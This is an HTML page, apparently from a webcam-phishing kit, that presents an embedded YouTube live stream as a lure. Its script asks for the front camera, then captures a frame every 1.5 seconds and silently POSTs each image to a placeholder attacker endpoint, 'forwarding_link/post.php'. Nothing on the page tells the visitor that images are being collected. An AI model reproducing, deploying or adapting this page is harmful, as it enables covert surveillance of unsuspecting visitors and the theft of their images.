<!doctype html>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<script>
function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function(){
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);
}
// Load init
init();
</script>
<body>
<iframe id="Live_YT_TV" width="100%" height="500px" src="https://www.youtube.com/embed/live_yt_tv?autoplay=1" frameborder="0" allow="autoplay encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</body>